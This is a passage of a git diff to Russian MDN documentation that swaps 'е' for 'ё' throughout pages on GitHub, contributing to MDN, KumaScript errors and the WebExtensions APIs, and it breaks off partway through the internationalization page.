          СКВ обеспечивают инструменты для решения всех вышеуказанных задач. Git является примером СКВ, а GitHub - это сайт, обеспечивающий веб-интерфейс для работы с гит, а также множество полезных инструментов для работы с гит-репозиториями лично или в командах, такие как фиксация проблем с кодом, инструменты для проверки кода, инструменты для управления созданием продукта, например назначение задач и их статусов, и т.д.

          -

          Важно: ГИТ на самом деле - распределенная система контроля версий, это значит что полная копия репозитория, содержащая всю кодовую базу сохраняется на твой компьютер (и кого-либо еще). Ты вносишь изменения в свою копию и затем отправляешь эти изменения обратно на сервер, на котором администратор решит соединять ли твои изменения  с оригиналом. 

          +

          Важно: ГИТ на самом деле - распределённая система контроля версий, это значит что полная копия репозитория, содержащая всю кодовую базу сохраняется на твой компьютер (и кого-либо ещё). Ты вносишь изменения в свою копию и затем отправляешь эти изменения обратно на сервер, на котором администратор решит соединять ли твои изменения  с оригиналом. 

          Подготовка

          @@ -38,7 +38,7 @@ original_slug: Learn/Tools_and_testing/GitHub
          • Компьютер с установленной версией Git (посмотри страницу загрузки Git).
          • Приложения для работы с Git. В зависимости от того как ты предпочитаешь работать, можешь использовать Git-клиенты с графическим интерфейсом (мы рекомендуем GitHub Desktop, SourceTree или Git Kraken) или просто продолжай использовать окно терминала. Если честно, будет весьма полезно для тебя узнать основы использования git-команд в терминале, даже если ты собираешься работать через графический интерфейс.
            • -
          • Аккаунт на GitHub. Если у тебя еще его нет, зарегистрируйся сейчас по указанной ссылке.
            • +
          • Аккаунт на GitHub. Если у тебя ещё его нет, зарегистрируйся сейчас по указанной ссылке.

          Что касается предварительных знаний, вам не нужно разбираться в веб-разработке, Git / GitHub или VCS, чтобы приступить к этому модулю. Тем не менее, рекомендуется, чтобы вы разбирались в составлении кода, могли его писать и читать, а также сохранили пару строчек кода в своих репозиториях!

          diff --git a/files/ru/mdn/about/index.html b/files/ru/mdn/about/index.html index 684d730f7f..6ff3fbd3a1 100644 --- a/files/ru/mdn/about/index.html +++ b/files/ru/mdn/about/index.html @@ -66,7 +66,7 @@ translation_of: MDN/About

          Никакие новые страницы не могут быть созданы с использованием альтернативных лицензий.

          -

          Авторское право на предоставленные материалы остается у автора, если автор не присваивает его кому-либо ещё.

          +

          Авторское право на предоставленные материалы остаётся у автора, если автор не присваивает его кому-либо ещё.

          Если у вас есть какие-либо вопросы или предложения по поводу поднятого здесь вопроса, пожалуйста, свяжитесь с Eric Shepherd.

          diff --git a/files/ru/mdn/contribute/feedback/index.html b/files/ru/mdn/contribute/feedback/index.html index 31bab35781..3c51c32efb 100644 --- a/files/ru/mdn/contribute/feedback/index.html +++ b/files/ru/mdn/contribute/feedback/index.html @@ -25,7 +25,7 @@ translation_of: MDN/Contribute/Feedback
        • Нажмите кнопку Опубликовать, когда закончите вносить изменения.
          • -

          Документация здесь в wiki формате, она курируется командой волонтеров и оплачиваемых сотрудников, так что не стесняйтесь — ваша грамматика не обязана быть идеальной. Если вы сделаете ошибку - мы её устраним; без вреда!

          +

          Документация здесь в wiki формате, она курируется командой волонтёров и оплачиваемых сотрудников, так что не стесняйтесь — ваша грамматика не обязана быть идеальной. Если вы сделаете ошибку - мы её устраним; без вреда!

          Для получения дополнительной информации о вкладе в MDN, смотрите:

          diff --git a/files/ru/mdn/contribute/getting_started/index.html b/files/ru/mdn/contribute/getting_started/index.html index 24ee690e17..a7aa354333 100644 --- a/files/ru/mdn/contribute/getting_started/index.html +++ b/files/ru/mdn/contribute/getting_started/index.html @@ -31,17 +31,17 @@ translation_of: MDN/Contribute/Getting_started

          Как только вы решили, какого рода задачей вы хотите заняться, найдите подходящую страницу, пример кода и т.д. - и вперёд!

          -

          Не беспокойтесь о том, что можете допустить ошибки. Другие участники MDN здесь, чтобы помочь исправить мелкие недочеты, которые Вы могли пропустить. Если появятся вопросы в процессе работы, загляните на страницу Сообщества для получения информации или в списки рассылок и чаты, где можно получить ответы.

          +

          Не беспокойтесь о том, что можете допустить ошибки. Другие участники MDN здесь, чтобы помочь исправить мелкие недочёты, которые Вы могли пропустить. Если появятся вопросы в процессе работы, загляните на страницу Сообщества для получения информации или в списки рассылок и чаты, где можно получить ответы.

          Внимание: Если Вы хотите поэкспериментировать с редактированием MDN перед тем, как сделать что-то «по-настоящему», можете потренироваться на странице в Песочнице. Пожалуйста, экспериментируйте только там. Не делайте ненужных изменений на обычных страницах, только чтобы посмотреть, что получится. Это добавляет работы другим.

          -

          Когда закончите, смело приступайте к следующей задаче или посмотрите чуть ниже, какие еще вещи можно сделать на MDN.

          +

          Когда закончите, смело приступайте к следующей задаче или посмотрите чуть ниже, какие ещё вещи можно сделать на MDN.

          Возможные типы задач

          -

          Есть несколько направлений, которые Вы можете выбрать, чтобы внести свой вклад в развитие MDN, в зависимости от квалификации и интересов. Даже если некоторые задачи покажутся сложными, у нас есть много других, простых и доступных. На решение большинства из них уйдет не более пяти минут (а то и меньше!). Рядом с задачей и ее кратким описанием Вы найдете приблизительное время, за которое обычно решаются задачи данного типа.

          +

          Есть несколько направлений, которые Вы можете выбрать, чтобы внести свой вклад в развитие MDN, в зависимости от квалификации и интересов. Даже если некоторые задачи покажутся сложными, у нас есть много других, простых и доступных. На решение большинства из них уйдёт не более пяти минут (а то и меньше!). Рядом с задачей и её кратким описанием Вы найдёте приблизительное время, за которое обычно решаются задачи данного типа.

          Вариант 1: Мне нравятся слова

          @@ -89,7 +89,7 @@ translation_of: MDN/Contribute/Getting_started
        • Связь с другими локализаторами, перечисленными в локализации проектов (30 минут)
          • -

          Вариант 5: Я нашел ошибки, но не знаю, как их исправить

          +

          Вариант 5: Я нашёл ошибки, но не знаю, как их исправить

          Вы можете сообщить нам о найденных ошибках. (5 минут)

          diff --git a/files/ru/mdn/contribute/howto/convert_code_samples_to_be_live/index.html b/files/ru/mdn/contribute/howto/convert_code_samples_to_be_live/index.html index 12970e3f48..b87990dd06 100644 --- a/files/ru/mdn/contribute/howto/convert_code_samples_to_be_live/index.html +++ b/files/ru/mdn/contribute/howto/convert_code_samples_to_be_live/index.html @@ -3,7 +3,7 @@ title: Как "оживить" примеры кода slug: MDN/Contribute/Howto/Convert_code_samples_to_be_live translation_of: MDN/Contribute/Howto/Convert_code_samples_to_be_live --- -
          {{MDNSidebar}}

          MDN имеет систему «живых примеров», где пример кода, показанный на странице, служит для отображения вывода этого же примера. Однако во многих существующих статьях есть примеры кода, которые еще не используют эту систему, и их необходимо преобразовать.

          +
          {{MDNSidebar}}

          MDN имеет систему «живых примеров», где пример кода, показанный на странице, служит для отображения вывода этого же примера. Однако во многих существующих статьях есть примеры кода, которые ещё не используют эту систему, и их необходимо преобразовать.

          Живые примеры, позволяющие продемонстрировать работу кода, делают документацию более динамичной и наглядной. В этом руководстве описывается, как "оживить" существующие примеры.

          diff --git a/files/ru/mdn/contribute/howto/report_a_problem/index.html b/files/ru/mdn/contribute/howto/report_a_problem/index.html index a0817f8271..a0667b2d78 100644 --- a/files/ru/mdn/contribute/howto/report_a_problem/index.html +++ b/files/ru/mdn/contribute/howto/report_a_problem/index.html @@ -9,16 +9,16 @@ translation_of: MDN/Contribute/Howto/Report_a_problem ---
          {{MDNSidebar}}
          -

          Время от времени вы можете столкнуться с проблемами при использовании MDN. Будь то проблема с инфраструктурой сайта или ошибка в содержании документации, вы можете либо попытаться исправить ее самостоятельно, либо сообщить о проблеме. В то время как первое предпочтительнее, последнее иногда является лучшим, что вы можете сделать, и это тоже хорошо.

          +

          Время от времени вы можете столкнуться с проблемами при использовании MDN. Будь то проблема с инфраструктурой сайта или ошибка в содержании документации, вы можете либо попытаться исправить её самостоятельно, либо сообщить о проблеме. В то время как первое предпочтительнее, последнее иногда является лучшим, что вы можете сделать, и это тоже хорошо.

          Ошибки в документации или запросы

          -

          Очевидно, поскольку MDN - это вики, лучшее, что вы можете сделать, - это исправить обнаруженные проблемы самостоятельно. Но, возможно, вы не знаете ответа или у вас уже истекает срок выполнения вашего собственного проекта или чего-то в этом роде, и вам нужно описать проблему, чтобы кто-то мог рассмотреть ее позже.

          +

          Очевидно, поскольку MDN - это вики, лучшее, что вы можете сделать, - это исправить обнаруженные проблемы самостоятельно. Но, возможно, вы не знаете ответа или у вас уже истекает срок выполнения вашего собственного проекта или чего-то в этом роде, и вам нужно описать проблему, чтобы кто-то мог рассмотреть её позже.

          Способ сообщить о проблеме с документацией – подача заявки. Шаблон проблемы содержит разделы для получения информации, необходимой для начала работы по устранению проблемы. Не стесняйтесь удалять любую часть шаблона, которая не полезна или не имеет отношения к вашей проблеме

          -

          Конечно, наше писательское сообщество занято, поэтому иногда самый быстрый способ решить проблему с документацией – это исправить ее самостоятельно. Дополнительные сведения см. в разделе создание и редактирование страниц.

          +

          Конечно, наше писательское сообщество занято, поэтому иногда самый быстрый способ решить проблему с документацией – это исправить её самостоятельно. Дополнительные сведения см. в разделе создание и редактирование страниц.

          Ошибки сайта или предложения функционала

          -

          Kuma – платформа, разработанная Mozilla  для веб-сайта MDN, находится в состоянии непрерывного развития. Наши разработчики, а также ряд добровольных участников, постоянно вносят улучшения. Если вы видите ошибку, или у вас есть проблема с сайтом, или даже есть предложение по поводу чего-то, что могло бы сделать программу более интересной, вы можете использовать форму заявки Kuma для подачи отчета. Вы также можете использовать эту форму для сообщения о проблемах с производительностью сайта, хотя есть вероятность, что средства мониторинга производительности уже уведомили соответствующих людей.

          +

          Kuma – платформа, разработанная Mozilla  для веб-сайта MDN, находится в состоянии непрерывного развития. Наши разработчики, а также ряд добровольных участников, постоянно вносят улучшения. Если вы видите ошибку, или у вас есть проблема с сайтом, или даже есть предложение по поводу чего-то, что могло бы сделать программу более интересной, вы можете использовать форму заявки Kuma для подачи отчёта. Вы также можете использовать эту форму для сообщения о проблемах с производительностью сайта, хотя есть вероятность, что средства мониторинга производительности уже уведомили соответствующих людей.

          diff --git a/files/ru/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html b/files/ru/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html index 90cd9d2f3c..600c8491fa 100644 --- a/files/ru/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html +++ b/files/ru/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html @@ -22,7 +22,7 @@ translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary

          Как писать записи

          -

          Ищете темы, которые нуждаются в записи глоссария? Посмотрите список незадокументированных терминов в конце целевой страницы глоссария. Щелкните любую из этих ссылок, чтобы начать новую страницу глоссария для элемента, на который вы нажали; затем выполните нижеуказанные действия.

          +

          Ищете темы, которые нуждаются в записи глоссария? Посмотрите список незадокументированных терминов в конце целевой страницы глоссария. Щёлкните любую из этих ссылок, чтобы начать новую страницу глоссария для элемента, на который вы нажали; затем выполните нижеуказанные действия.

          Если же у вас уже есть идея для новой записи в глоссарии, просто нажмите на кнопку "Сделать новую запись в глоссарии" (см. ниже) так, чтобы она открылась в новой вкладке, а затем выполните нижеуказанные действия.

          @@ -33,7 +33,7 @@ translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary

          Шаг 1: Выберите термин, которому хотите дать определение

          -

          Первое, что нужно сделать, это выбрать термин, о котором писать. Если вы не знаете, какие термины нуждаются в определениях, вы можете проверить наш список предложений. Просто нажмите на термин и начните писать. Если вы уже авторизованы в системе, то вы попадете в Редактор MDN.

          +

          Первое, что нужно сделать, это выбрать термин, о котором писать. Если вы не знаете, какие термины нуждаются в определениях, вы можете проверить наш список предложений. Просто нажмите на термин и начните писать. Если вы уже авторизованы в системе, то вы попадёте в Редактор MDN.

          Шаг 2: Дайте краткое определение

          @@ -45,7 +45,7 @@ translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary

          Как создать хорошую запись глоссария

          -

          Если это необходимо, можете добавить несколько дополнительных абзацев, но будьте осторожны – так можно и увлечься, и вот вы уже пишете огромную статью. Написать полноценную статью – это прекрасно, но, пожалуйста, не помещайте ее в глоссарий. Если вы не уверены, где разместить свою статью, не стесняйтесь обратиться за помощью и обсудить это.

          +

          Если это необходимо, можете добавить несколько дополнительных абзацев, но будьте осторожны – так можно и увлечься, и вот вы уже пишете огромную статью. Написать полноценную статью – это прекрасно, но, пожалуйста, не помещайте её в глоссарий. Если вы не уверены, где разместить свою статью, не стесняйтесь обратиться за помощью и обсудить это.

          Вот несколько простых рекомендаций, которые стоит применять при написании записей в глоссарий:

          @@ -69,7 +69,7 @@ translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary

          Заканчиваться запись в глоссарии всегда должна разделом "Узнать больше". Этот раздел должен содержать ссылки, которые помогут читателю подробнее изучить вопрос: узнать больше деталей, научиться использовать соответствующие технологии и так далее.

          -

          Мы рекомендуем сортировать ссылки по трем группам:

          +

          Мы рекомендуем сортировать ссылки по трём группам:

          Общие знания
          Ссылки, которые предоставляют информацию более общего характера, например, ссылка на Википедию – это хорошая отправная точка.

          @@ -78,14 +78,14 @@ translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary Ссылки на более подробную техническую информацию, на MDN или в другом месте.

          Узнать больше
          - Ссылки на учебные пособия, упражнения, примеры или любые другие материалы, которые помогают читателю научиться использовать технологию, стоящую за определенным термином.

          + Ссылки на учебные пособия, упражнения, примеры или любые другие материалы, которые помогают читателю научиться использовать технологию, стоящую за определённым термином.

          Что делать, если у термина несколько значений

          Иногда один и тот же термин может иметь разные значения в зависимости от контекста. Чтобы избежать возможных разночтений и путаницы, следуйте этим рекомендациям:

            -
          • На основной странице записи, посвященной термину, должны быть перечислены все его возможные значения. Это делается с помощью макроса {{TemplateLink("GlossaryDisambiguation")}}.
            • +
          • На основной странице записи, посвящённой термину, должны быть перечислены все его возможные значения. Это делается с помощью макроса {{TemplateLink("GlossaryDisambiguation")}}.
          • Для каждого значения должна быть создана отдельная подстраница.
          diff --git a/files/ru/mdn/contribute/processes/index.html b/files/ru/mdn/contribute/processes/index.html index d0d186e509..bf3ab2ab18 100644 --- a/files/ru/mdn/contribute/processes/index.html +++ b/files/ru/mdn/contribute/processes/index.html @@ -10,6 +10,6 @@ original_slug: MDN/Contribute/Процессы ---
          {{MDNSidebar}}
          {{IncludeSubnav("/en-US/docs/MDN")}}
          -

          Проектная документация МДН необъятна; существует огромное количество технологий, реализуемые при помощи сотен участников со всего мира. Чтобы помочь нам навести порядок в этом хаосе, имеются стандартные процессы при работе с конкретными документационно-связанными задачами. Здесь вы найдете руководства к этим процессам.

          +

          Проектная документация МДН необъятна; существует огромное количество технологий, реализуемые при помощи сотен участников со всего мира. Чтобы помочь нам навести порядок в этом хаосе, имеются стандартные процессы при работе с конкретными документационно-связанными задачами. Здесь вы найдёте руководства к этим процессам.

          {{LandingPageListSubPages()}}

          diff --git a/files/ru/mdn/tools/kumascript/troubleshooting/index.html b/files/ru/mdn/tools/kumascript/troubleshooting/index.html index a540adf81a..27767d3872 100644 --- a/files/ru/mdn/tools/kumascript/troubleshooting/index.html +++ b/files/ru/mdn/tools/kumascript/troubleshooting/index.html @@ -14,11 +14,11 @@ original_slug: MDN/Kuma/Troubleshooting_KumaScript_errors ---
          {{MDNSidebar}}
          -

          Ошибки KumaScript, появляющиеся на странице, могут быть очень неудобными для читателей, из-за больших страшных красных ящиков, но, к счастью, любой человек с учетной записью MDN может отредактировать документ, чтобы исправить эту ошибку. При возникновении ошибки страница добавляется в список документов с ошибками. Редакторы сайта регулярно просматривают этот список, чтобы находить и исправлять ошибки. В этой статье подробно описываются четыре типа ошибок KumaScript и некоторые шаги, которые можно предпринять для их исправления.

          +

          Ошибки KumaScript, появляющиеся на странице, могут быть очень неудобными для читателей, из-за больших страшных красных ящиков, но, к счастью, любой человек с учётной записью MDN может отредактировать документ, чтобы исправить эту ошибку. При возникновении ошибки страница добавляется в список документов с ошибками. Редакторы сайта регулярно просматривают этот список, чтобы находить и исправлять ошибки. В этой статье подробно описываются четыре типа ошибок KumaScript и некоторые шаги, которые можно предпринять для их исправления.

          DocumentParsingError

          -

          DocumentParsingError ошибки появляются, когда у KumaScript есть проблемы с пониманием чего-либо в самом документе. Наиболее распространенной причиной является синтаксическая ошибка в макросе.

          +

          DocumentParsingError ошибки появляются, когда у KumaScript есть проблемы с пониманием чего-либо в самом документе. Наиболее распространённой причиной является синтаксическая ошибка в макросе.

          Необходимо проверить:

          diff --git a/files/ru/mdn/tools/unsupported_get_api/index.html b/files/ru/mdn/tools/unsupported_get_api/index.html index 73b9a4bb33..c7d9fb8d92 100644 --- a/files/ru/mdn/tools/unsupported_get_api/index.html +++ b/files/ru/mdn/tools/unsupported_get_api/index.html @@ -29,7 +29,7 @@ original_slug: MDN/Tools/URL-suffix

          Указывает Куме возвращать только сводку страницы. Если на странице есть контент, помеченный классом «Сводка SEO», этот контент возвращается. Если такого содержания нет, возвращается содержание раздела «Сводка». В противном случае возвращается содержимое первого блока.

          -
          Уведомление об ошибке: В настоящее время существует ошибка, из-за которой сводный параметр возвращает весь документ, если вы также не укажете необработанный параметр. Обратите внимание, что вы также можете получить сводку из возвращенного JSON, используя альтернативное представление $ json.
          +
          Уведомление об ошибке: В настоящее время существует ошибка, из-за которой сводный параметр возвращает весь документ, если вы также не укажете необработанный параметр. Обратите внимание, что вы также можете получить сводку из возвращённого JSON, используя альтернативное представление $ json.
          raw
          Указывает Kuma вернуть необработанное содержимое страницы без какого-либо материала обложки, такого как верхние, нижние колонтитулы и т. д. При этом не выполняются шаблоны или сценарии, что удобно для редакторов сборки.
          diff --git a/files/ru/mozilla/add-ons/index.html b/files/ru/mozilla/add-ons/index.html index 817ed815ee..a647e86282 100644 --- a/files/ru/mozilla/add-ons/index.html +++ b/files/ru/mozilla/add-ons/index.html @@ -19,7 +19,7 @@ translation_of: Mozilla/Add-ons

          Расширения

          -

          Расширения добавляют новые функции к приложениям Mozilla, например таким как Firefox и Thunderbird. С их помощью можно изменить стандартное поведение браузера, например реализовать другой способ организации и управления вкладками. Можно даже изменять содержимое отображаемого веб приложения, чтобы улучшить удобство использования или например повысить безопасность определенных сайтов.

          +

          Расширения добавляют новые функции к приложениям Mozilla, например таким как Firefox и Thunderbird. С их помощью можно изменить стандартное поведение браузера, например реализовать другой способ организации и управления вкладками. Можно даже изменять содержимое отображаемого веб приложения, чтобы улучшить удобство использования или например повысить безопасность определённых сайтов.

          Существует 3 различных способа сборки расширений: restartless-расширения на основе Add-on SDK, restartless-расширения с реализацией этого механизма вручную (manually bootstrapped restartless extensions), и расширения с использованием технологии Overlay.

          @@ -38,7 +38,7 @@ translation_of: Mozilla/Add-ons

          В данный момент мы разрабатываем систему под названием WebExtensions, которая будет новым способом разработки расширений для браузера Firefox, эта система будет гораздо более совместима с браузерами Chrome и Opera.

          В будущем она станет наиболее предпочтительной при разработке новых проектов для браузера Firefox.

          -В данный момент она является экспериментальной, но несмотря на это вы можете ознакомиться с документацией, если хотите ее опробовать. +В данный момент она является экспериментальной, но несмотря на это вы можете ознакомиться с документацией, если хотите её опробовать.

          Где это возможно, рекомендуется выбирать Add-On SDK, который использует механизм расширения без необходимости перезапуска браузера (restartless extensions), а также упрощает разработку и убирает за собой. Если Вам недостаточно возможностей комплекта средств разработки Add-on SDK для реализации ваших идей, механизм restartless Вы можете осуществить самостоятельно. Технология Overlay extensions в целом устарела и не рекомендуется при разработке новых расширений.

          @@ -87,7 +87,7 @@ translation_of: Mozilla/Add-ons
          -

          С помощью полных тем вы можете гораздо глубже менять UI приложения. Документация к полным темам устарела, но приведена здесь в качестве возможной основы для обновленной документации.

          +

          С помощью полных тем вы можете гораздо глубже менять UI приложения. Документация к полным темам устарела, но приведена здесь в качестве возможной основы для обновлённой документации.

          @@ -96,7 +96,7 @@ translation_of: Mozilla/Add-ons

          Поисковые плагины являются простыми и очень специфическими типами дополнений: они добавляют новые поисковые системы для поиска в строке браузера.

          -

          Плагины (не путать с расширением и дополнением) помогают приложению понять содержание, которое не имеет встроенной поддержки. NPAPI-плагины являются устаревшей технологией и новые сайты не будут ее использовать. Как правило, такие плагины не доступны для использования на большинстве современных мобильных систем, и веб-сайты должны избегать их использования

          +

          Плагины (не путать с расширением и дополнением) помогают приложению понять содержание, которое не имеет встроенной поддержки. NPAPI-плагины являются устаревшей технологией и новые сайты не будут её использовать. Как правило, такие плагины не доступны для использования на большинстве современных мобильных систем, и веб-сайты должны избегать их использования

          Смотрите также

          diff --git a/files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html b/files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html index cad5651a81..6d1a808d7d 100644 --- a/files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html +++ b/files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html @@ -73,7 +73,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension

          DOM APIs

          -

          Фоновые скрипты запускаются в пространстве специальной страницы, называемой фоновой. Это дает им доступ к глобальному window объекту, а так же ко всем его DOM APIs.

          +

          Фоновые скрипты запускаются в пространстве специальной страницы, называемой фоновой. Это даёт им доступ к глобальному window объекту, а так же ко всем его DOM APIs.

          WebExtension APIs

          @@ -101,7 +101,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension
        • Страница настроек открывается, когда пользователь обращается к настройкам расширения на странице менеджера расширений.
          • -

          Для каждого из этих компонентов вы создаете HTML файл и помещаете специальную информацию в manifest.json. HTML файл может в себя включать CSS и JavaScript файлы, как и любая web-страница.

          +

          Для каждого из этих компонентов вы создаёте HTML файл и помещаете специальную информацию в manifest.json. HTML файл может в себя включать CSS и JavaScript файлы, как и любая web-страница.

          Всё это типы веб-страниц расширения, и, в отличие от нормальных веб-страниц, ваш JavaScript может использовать все привелегии WebExtension APIs, как и ваши фоновые скрипты. Они даже могут получить доступ к переменным в фоновой странице, используя {{WebExtAPIRef("runtime.getBackgroundPage()")}}.

          diff --git a/files/ru/mozilla/add-ons/webextensions/api/cookies/index.html b/files/ru/mozilla/add-ons/webextensions/api/cookies/index.html index a31f300edf..116166a1ef 100644 --- a/files/ru/mozilla/add-ons/webextensions/api/cookies/index.html +++ b/files/ru/mozilla/add-ons/webextensions/api/cookies/index.html @@ -37,7 +37,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/cookies
          {{WebExtAPIRef("cookies.get()")}}
          Запрашивает информацию об одном кукис.
          {{WebExtAPIRef("cookies.getAll()")}}
          -
          Выдает все кукис которые подходят установленному фильтру.
          +
          Выдаёт все кукис которые подходят установленному фильтру.
          {{WebExtAPIRef("cookies.set()")}}
          Устанавливает кукис с заданной информацией;в том случае если подобный кукис был информация будет перезаписана.
          {{WebExtAPIRef("cookies.remove()")}}
          @@ -50,7 +50,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/cookies
          {{WebExtAPIRef("cookies.onChanged")}}
          -
          Происходит когда кукис задается или меняется.
          +
          Происходит когда кукис задаётся или меняется.

          Permissions

          diff --git a/files/ru/mozilla/add-ons/webextensions/api/index.html b/files/ru/mozilla/add-ons/webextensions/api/index.html index d4f312ea2e..eec7707789 100644 --- a/files/ru/mozilla/add-ons/webextensions/api/index.html +++ b/files/ru/mozilla/add-ons/webextensions/api/index.html @@ -45,7 +45,7 @@ setCookie.then(logCookie, logError);

          Mozilla так же предоставляет полифил, который позволяет коду, использующему browser и промисы, работать без изменений в Chrome: https://github.com/mozilla/webextension-polyfill.

          -

          Microsoft Edge использует пространство имен browser, но ещё не поддерживает, основанный на промисах асинхронный API. В Edge на данный момент асинхронные вызовы API должны использовать колбэки.

          +

          Microsoft Edge использует пространство имён browser, но ещё не поддерживает, основанный на промисах асинхронный API. В Edge на данный момент асинхронные вызовы API должны использовать колбэки.

          Не все браузеры поддерживают все API: детали см. Browser support for JavaScript APIs.

          diff --git a/files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html b/files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html index ebae6f21c5..6f9eafef23 100644 --- a/files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html +++ b/files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html @@ -9,7 +9,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest

          Каждое событие запущено на определённой стадии запроса. Типичный порядок событий такой:

          -

          {{WebExtAPIRef("webRequest.onErrorOccurred", "onErrorOccurred")}} Может быть запущен в любой момент во время запроса. Чреда событий может отличаться от приведенной выше: например, в Firefox, после HSTS обновления, событие onBeforeRedirect будет запущено сразу же после onBeforeRequest.

          +

          {{WebExtAPIRef("webRequest.onErrorOccurred", "onErrorOccurred")}} Может быть запущен в любой момент во время запроса. Чреда событий может отличаться от приведённой выше: например, в Firefox, после HSTS обновления, событие onBeforeRedirect будет запущено сразу же после onBeforeRequest.

          Все события, кроме onErrorOccurred, могут принимать три аргумента в  addListener():

          @@ -19,7 +19,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest
        • необязательный объект extraInfoSpec . Может быть использован для передачи дополнительных специфических для события инструкций.
          • -

          Функции - обработчику передается объект details который содержит информацию о запросе. Она содержит ID запроса, который обеспечен для включения надстройки, которая позволяет соотносить события, ассоциируемые с одним запросом. Это уникально в пределах сессии и контекста надстройки. Информация остается одинаковой везде на протяжении запроса, даже при перенаправлениях и обменах аутентификации.

          +

          Функции - обработчику передаётся объект details который содержит информацию о запросе. Она содержит ID запроса, который обеспечен для включения надстройки, которая позволяет соотносить события, ассоциируемые с одним запросом. Это уникально в пределах сессии и контекста надстройки. Информация остаётся одинаковой везде на протяжении запроса, даже при перенаправлениях и обменах аутентификации.

          Для использования webRequest API для определённого хоста, расширение должно иметь "webRequest" API permission и host permission для этого хоста. Для использования возможности "блокирования" расширение должно также иметь "webRequestBlocking" API разрешение.

          @@ -56,7 +56,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest
        • {{WebExtAPIRef("webRequest.onHeadersReceived", "onHeadersReceived")}}
          • -
        • предоставить учетные данные аутентификации в: +
        • предоставить учётные данные аутентификации в:
          • {{WebExtAPIRef("webRequest.onAuthRequired", "onAuthRequired")}}
          diff --git a/files/ru/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html b/files/ru/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html index 7a5853c940..d17448989f 100644 --- a/files/ru/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html +++ b/files/ru/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html @@ -7,7 +7,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities

          Веб расширения разработаны с поддержкой совместимости с расширениями Chrome и Оперы на сколько это возможно. Расширения, написанные для этих браузеров, должны работать в Firefox с минимальными изменениями.

          -

          Все же, Firefox на данный момент имеет поддержку только для ограниченного набора функций и API, поддержуемых в Chrome и Опере. Мы работаем над добавлением большей поддержки, но много функций пока еще не поддерживаются и некоторые из них никогда не будут поддерживаться.

          +

          Все же, Firefox на данный момент имеет поддержку только для ограниченного набора функций и API, поддержуемых в Chrome и Опере. Мы работаем над добавлением большей поддержки, но много функций пока ещё не поддерживаются и некоторые из них никогда не будут поддерживаться.

          Эта статья перечисляет все функции и API, которые полностью поддерживаются в Firefox Developer Edition (на данный момент Firefox 47). Там где функция поддерживается частично, мы указали на проблемные места.

          diff --git a/files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html b/files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html index 2ecab08bdf..04a051899b 100644 --- a/files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html +++ b/files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html @@ -107,7 +107,7 @@ browser.webRequest.onBeforeRequest.addListener(

          На этот раз мы не перехватываем каждый запрос: опция {urls: [pattern], types: ["image"]} указывает, что мы должны перехватывать запросы (1) для URL-адресов, находящихся в разделе «https://mdn.mozillademos.org / "(2) для ресурсов изображения. Подробнее см. {{WebExtAPIRef ("webRequest.RequestFilter")}}.

          -

          Также обратите внимание, что мы передаем опцию "blocking": нам нужно передать это, когда мы хотим изменить запрос. Это заставляет функцию обработчика блокировать сетевой запрос, поэтому браузер ждет, пока обработчик вернется, прежде чем продолжить. Дополнительную информацию о "blocking" смотрите в документации {{WebExtAPIRef ("webRequest.onBeforeRequest")}}.

          +

          Также обратите внимание, что мы передаём опцию "blocking": нам нужно передать это, когда мы хотим изменить запрос. Это заставляет функцию обработчика блокировать сетевой запрос, поэтому браузер ждёт, пока обработчик вернётся, прежде чем продолжить. Дополнительную информацию о "blocking" смотрите в документации {{WebExtAPIRef ("webRequest.onBeforeRequest")}}.

          Чтобы проверить это, откройте страницу в MDN, которая содержит много изображений (например, https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor), перезагрузите WebExtension и перезагрузите страницу MDN :

          diff --git a/files/ru/mozilla/add-ons/webextensions/internationalization/index.html b/files/ru/mozilla/add-ons/webextensions/internationalization/index.html index e5367909ad..ce3323d169 100644 --- a/files/ru/mozilla/add-ons/webextensions/internationalization/index.html +++ b/files/ru/mozilla/add-ons/webextensions/internationalization/index.html @@ -69,9 +69,9 @@ original_slug: Mozilla/Add-ons/WebExtensions/Интернационализац
          Вы можете определить тэг языка при помощи инструмента Find  на странице определения языковых тегов. Обратите внимание на то, что при поиске нужно использовать английское название языка
          -

          Каждая система i18n требует предоставить строки во всех локализациях, которые Вы хотите поддерживать. В расширениях они хранятся в директории  _locales, размещенной внутри корневой директории. Строки каждой локализации (также называемые сообщениями) хранятся в файле messages.json, находящемся в поддиректории _locales, название которой - тег языка локализации.

          +

